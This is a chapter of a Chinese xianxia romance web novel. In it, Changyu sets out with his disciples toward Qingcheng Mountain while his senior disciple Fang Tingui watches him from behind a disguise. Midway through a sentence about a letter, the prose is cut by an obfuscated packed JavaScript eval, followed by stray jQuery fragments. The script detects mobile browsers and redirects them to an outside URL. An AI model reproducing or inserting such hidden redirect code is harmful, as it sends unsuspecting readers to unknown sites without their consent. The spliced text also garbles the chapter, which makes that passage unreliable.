22. 不可及

作品:《不准对师尊汪汪汪

    深夜。


    长域辗转难眠。


    他不知道自己在想什么,也不知道自己该想什么,脑海中乱糟糟的,翻来覆去都没有睡意,只好望着黑暗发呆。


    明明已经很累了,明天还有很多事要做。


    但是睡不着。


    神游许久,长域忽然想起很久很久之前,记忆深处的某个午后。


    具体是哪一年?


    忘了,总之是遇到小菇君以前。


    那天下午,长域临水洗剑,把剑刃擦拭得亮若秋水,锋芒毕露。


    他擦洗得认真,没有注意到一道身影正默默注视着他的背影。


    当然,当对方上前时,长域还是发现了她。


    那是一名身穿鹅黄色襦裙的少女,扎着一条很长的辫子,辫子上插着几朵桃花,打扮得很用心。


    少女对上长域的目光,有些怯怯的:“大,大侠,我想摘两朵花,你让一让可以吗?”


    长域“哦”了一声,从善如流地移开,继续洗剑。


    少女绕过他,在溪边的梨树上,摘了两朵最漂亮的梨花,插在自己的辫子上。


    她临水照镜,左看看右看看,非常满意,不由得笑出了声。


    笑完,少女又觉得不好意思:“咳咳,梨花真好看啊,对吧大侠?”


    长域放下擦剑的手帕,看着溪水一点点恢复平静。


    水面清澈,倒映出蓝天白云,枝头梨花,还有少女笑盈盈的脸。长域点点头:“好看。”


    少女掩着嘴,笑得喜悦:“我跟你说件事情,不要告诉别人哦——我今天要去隔壁村的阿玉哥家里看亲,如果他也喜欢我,我就可以嫁给他了!”


    “我知道阿玉哥喜欢梨花,才专门摘了几朵,插在我的辫子上,如果他看到自己喜欢的花,说不定就会,就......”


    少女说着,脸颊一点点红了。


    长域静静听了一会儿,说:“那我帮你一个忙——喏。”


    说着,他随手掐了一个法诀,附着在少女辫上的梨花上:“从现在开始,一整天的时间,这几朵梨花都不会凋谢,一直都这样好看。”


    少女喜不自胜:“真的吗?太好了,等我成亲那天,一定请你吃酒!对了,你叫什么名字?”


    长域说:“我叫长域,长短的长,领域的域。”


    少女说:“和阿玉哥的名字有点像,不过他的是玉石的玉......对了,我叫......你一定要记住我,等我成亲那天......”


    记忆到这里,便渐渐模糊了。


    后来,长域怎么也想不起来,那天的少女究竟叫什么名字,有没有和心上人在一起,自己又有没有去吃她的喜酒......


    他活了太久,记忆太多太乱。


    忘记一些事情很正常。


    长域忽然有一种错觉,如今的自己并不是自己,而是回忆里的某段碎片。


    也许已经过去了几百年,也许方停归已经死了,小菇君也死了,他忘记了很多人的名字,忘记了很多事。


    也许这是几百年后,某个同样辗转难眠的深夜,自己又回想起很久之前的一个夜晚——


    “啊!”


    长域恍然睁开眼睛,额头冷汗密布。


    做噩梦了。


    黑暗中,长域听到自己起伏的喘息声,感受到心脏在胸腔中勃勃跳动。


    好冷。


    好黑……


    缓了缓,他才意识到梦是假的,而外面天快亮了。


    还有许多事要做,差不多该启程了。


    长域闭了闭眼,忽然有种闭门不出的冲动。


    说不清这种感觉是为什么,他只是觉得很疲惫,很空泛,很茫然。


    不知道为什么,他的脑海中忽然出现方停归眸色深沉的面孔。


    “……”


    说来荒唐,长域流浪人间后,方停归是对他执念最深的人,那份执着和忍耐,甚至超过长域自己。


    为什么呢?凭什么呢?怎么可以呢?


    不值得。


    长域握紧手指,指甲深深嵌入掌心,他告诉自己——不值得。


    我不值得。


    ————


    片刻,长域调整好情绪,洗漱完毕,神色平静地走出小洞天。


    门外,小菇君已经拿着提着几个油纸包,眼巴巴地等他。


    凌恨月牵着凌灵,也已经准备妥当。


    而别凡尘外,陈墨追站在丘瑾身后,正目光复杂地看着几人。


    “师尊,师兄,此去珍重。”


    陈墨追说着,挤出一丝笑意,眼里还有说不出的不舍:“等师姐回来,我们师门再聚,我再给你们做菜吃。”


    长域笑了笑:“一言为定,到时候有的是你忙。”


    说着,他的目光看向陈墨追身后,通透冰壁散发着寒气,有些孤清。


    陈墨追说:“师兄昨夜旧伤复发,正在闭关,不能亲自送师尊下山。”


    长域“哦”了一声,没什么表情:“也不是什么重要的事,养伤要紧。”


    接着,他转向双眼红肿的丘瑾,简单安慰了一番。


    “……好好修炼,照顾好自己,等你爷爷回来……有事可以给我写信,先走了。”


    说完,长域转身,望向苍茫大地。


    时间不早了。


    “走吧。”


    凌恨月扬出一张符纸,迎风暴涨,变成一张宽大厚实的飞毯。


    于是,长域、小菇君、凌恨月、凌灵四人依次踏上符纸,最后招了招手——随着凌恨月手中白玉朱笔下挥,符纸便迎风而去,掠向远方的烟粉朝霞。


    晨光熹微中,几人的身影很快淡去,只留下一片渺渺飒飒的尾影。


    直到视线之内,再也看不到几人的身影,丘瑾才怅然若失地收回目光。


    他侧头去看身后的陈墨追:“医圣前辈,我......”


    入目却是一道墨染的身影。


    丘瑾吓了一跳,倒退几步,惊讶地瞪着方停归淡漠的脸。


    “......障眼法。”


    方停归神色平静,声音却比平日低沉几分:“时辰差不多了,去练剑。”


    “啊?哦......好。”


    丘瑾反应过来,不敢怠慢,拔出断雁剑,便跳到空地上练了起来。


    不远处,真正的陈墨追姗姗而来,和方停归说了些什么,两人一同进了别凡尘。


    丘瑾看到这一幕,不由得暗恼。


    真是奇怪的师徒俩,一边闹别扭,一边依依惜别,自己夹在中间什么都不知道,简直被当狗耍!


    丘瑾此刻无比懊悔。


    长域出门前,他对“陈墨追”说了许多话,舍不得爷爷,舍不得长域前辈,害怕上尊前辈......总之,面对这个最和善的医圣前辈,他颠三倒四的,几乎把掏心窝子的话全都说了。


    谁知道那是方停归啊!


    一点都看不出来!


    不是,他有病吧?!


    为什么要用障眼法骗自己,骗长域前辈啊!


    丘瑾想起第一次遇到长域那天,对方在小巷子里认出别人障眼法的情景,不由得撇了撇嘴。


    哼,方停归骗骗自己就算了,肯定骗不过长域前辈......


    ————


    青城山。


    赶了半天路,长域等人终于来到青城山附近。


    正值中午,几人都有些饿了。


    长域正在想中午吃什么,小菇君忽然凑上来,递上一块雪白的糕饼:“小仙君,你要吗?”


    长域接过糕饼,看着小菇君一本正经的样子,不由得笑了:“你倒有心,还提前准备了干粮。”


    小菇君掰了一块糕饼,正递给凌灵:“不是我买的,是今天早上阿追给我的。”


    长域拧拧眉,总觉得有些不对劲:“他是比较细心,还准备了什么吃食?”


    不出意外的话……


    小菇君拆开一个油纸包,指着里面五花八门的果脯:“喏,我们爱吃的。”


    “......”


    长域看着果脯之中,那颗熟悉的蜜色梅子,心头漫上一股说不出的滋味。


    方停归啊……你真是……


    啧……


    长域闭了闭眼,把他从脑海中挥开,又转向凌灵:“小灵,你有什么发现吗?”


    凌灵小口咬着糕饼,摇了摇头。


    凌恨月说:“先天灵体之间会互相压制,师姐应该就在附近。”


    “好。”


    长域抬头,看着不远处绵延的绿色青山,顿感头疼:“附近有什么著名的仙门吗?先打听打听消息吧,总不能像无头苍蝇一样乱转。”


    小菇君捧着地图,凑上前来:“有的,往北走十几里,有一个青城派。”


    凌恨月“咦”了一声:“青城派?”


    长域看他:“有什么特别的吗?”


    凌恨月:“师尊有所不知,青城派传承几百年,在蜀地颇有名气,近些年却越发衰微,渐渐没有消息了,就连师兄的登仙大会都没参加。”


    长域想了想:“是有些古怪......我们去看看。”


    于是,几人根据地图的指引,往青城派走去。


    路上,凌恨月谈起了张逃燕的过往。


    原来,当年南海一别后,张逃燕曾与凌恨月结伴,在江湖上闯荡过几年。


    只是二人志向不同,便选择了分开。


    凌恨月深陷朝堂的那些年,张逃燕在修界混得风生水起,引得无数青年才俊倾倒。


    尽管如此,她却万花丛中过,片叶不沾身,活得浓墨重彩,风光洒脱,简直是修界天边最热烈的一抹晚霞。


    某天,张逃燕给凌恨月写了一封信。


    信里她大呼人生无味,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822164|158753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邀请故人前往青城山叙旧,只是那时凌恨月朝政繁忙,抽不开身,便拒绝了。


    等凌恨月好不容易有了空闲,已经过去几载春秋了。


    他试图联系张逃燕,后者却彻底失去了踪迹。


    “......我本以为师姐是与我斗气,故意不理我,便派人在江湖上寻找她的踪迹,去了好几波人,却都是一无所获......”


    凌恨月说到这里,摇了摇头:“若非师尊收到了她的来信,我真的以为她已经仙逝了。”


    长域抿了抿唇,安慰道:“等我们找到她,一切疑问都会有答案,不必自责。”


    小菇君也说:“小燕子脾气最好,肯定不会记恨谁的。”


    长域拍拍凌恨月的肩膀:“不要多想。”


    说完,他继续往前走去。


    凌恨月忽然有些恍然。


    一瞬间,他被拉回到两百年前,在师门学艺的日子。


    符纸和丹砂在阳光下散发出陈旧的味道,长域抱着臂,靠在一株柳树下,正看着少年伏案画符。


    “手腕甩出去……笔尖,笔尖往外勾……收尾,不要停顿,一气呵成……对。”


    一符落成,少年凌恨月只觉得胸闷气短,灵气耗尽,握笔的指尖在打颤。


    就在这时,长域扶住他的肩膀,给他输送了一些灵气,另一只手则点着符纸上的图案:


    “画符如画人,要筋骨有劲,皮肉均匀才好。你画的符文太紧张,框架规整有余,整体不够舒展,你看这里……”


    凌恨月认真听着。


    “明白没?”


    凌恨月点头:“我明白了,下次不会犯错。”


    “哈哈。”长域笑说,“倒不是犯错,只是我觉得呢,你画符不必太追求规整,随意一些也好,反正都能用,不如轻松一些。”


    凌恨月想了想,忽然冒出一个无关紧要的问题:“师尊……您这么年轻有为,除了我们师兄弟四人,为什么不多收几个弟子,开宗立派呢?”


    话一出口,凌恨月便感到一阵懊悔,觉得自己问错了。


    显而易见的,师尊生性潇洒不羁,不喜规则束缚,怎么会主动创立宗门,把自己套进规则里呢?


    真是一句废话。


    只是出乎凌恨月的意料,长域沉吟许久,才摇头道:“阿月,你是有抱负的人,那你认为开宗立派的目的是什么呢?追求大道吗?追求大道的尽头又是什么?守卫苍生吗?”


    凌恨月沉默,他很少思考这个问题。


    他当然知道修道者应该以守卫苍生为己任,惩恶除凶,匡扶正义。


    但那都是虚话,有多少人会心甘情愿,为陌生的黎民百姓出生入死,抛洒热血?


    大部分修道者踏上这条路,只是为了爬上更高的位置,争夺更多利益,过上养尊处优的日子。


    偌大一个修真界,上千年来人丁兴旺,却是人才凋零,连一个叩问仙门的强者都没有出现——还有多少人心怀天下,一心向道?


    那我呢?


    凌恨月问自己,我一开始修仙的目的是活下去,我现在活得很好,那以后呢?


    以后又要朝着怎样的方向,在这条茫茫坦途上走下去呢?


    “……”


    少年凌恨月拧眉思考着。


    就在这时,他听到长域轻松带笑的声音:“你啊,就是太较真,凡事都要刨根问底,追究一个结果——其实,许多问题都没有结果,追寻答案的过程本身就是答案。”


    凌恨月闻言微怔:“那师尊的答案是什么呢?”


    “哈。”长域垂眸一笑,摆手道,“我还在——算了,不要多想,安心修炼。”


    说着,他抱臂靠回柳枝间,似乎在想着什么。


    清风拂动细柳,水光朦胧温柔,落在他淡青的衣摆上,轻扬间仿若少年。


    凌恨月若有所思,余光忽然捕捉到一截玄色衣角——是大师兄方停归,他正抱剑站在远处,默默看着这一切。


    凌恨月眼尖,他看清了大师兄的神色。


    却见方停归面色沉静,唇角却略有弧度,透出淡淡的愉悦。


    愉悦。


    大师兄也听到师尊的话了,那他的答案又是什么呢?他很满意吗?他很少笑,这次为什么要笑?


    少年凌恨月这样想着。


    许多年后,大师兄问道登仙,仰头看向天空那一刻,会想起两百年前,望着师尊露出微笑的那个午后吗?


    ——凌恨月回过神来。


    他忽然理解了不久之前,山风渺渺的夜晚,自己登上雪山之巅,试图劝说方停归放弃时,对方眼中近乎决然的偏执。


    是了,方停归早已找到了自己的目标。


    他的目标从来不是追求大道——他只是在追寻着那个遥不可及的人。


    真蠢啊。


    凌恨月这样想着,心中却划过一丝艳羡和茫然。